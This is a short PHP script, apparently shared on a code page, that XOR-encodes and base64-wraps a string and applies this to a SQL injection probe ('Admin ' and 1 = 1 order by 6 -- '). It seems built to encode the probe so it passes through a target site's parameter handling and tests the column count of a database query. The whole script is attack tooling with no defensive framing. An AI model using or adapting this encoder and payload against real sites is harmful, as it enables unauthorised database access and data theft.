- substr: documentation ( source)
- base64_encode: documentation ( source)
- ord: documentation ( source)
<?php
function encrypt($str)
{
$cryptedstr = "";
for ($i =0; $i < strlen($str); $i++)
{
$temp = ord(substr($str,$i,1)) ^ 192;
while(strlen($temp)<3)
{
$temp = "0".$temp;
}
$cryptedstr .= $temp. "";
}
return base64_encode($cryptedstr);
}
echo(encrypt("Admin ' and 1 = 1 order by 6 -- "));
?>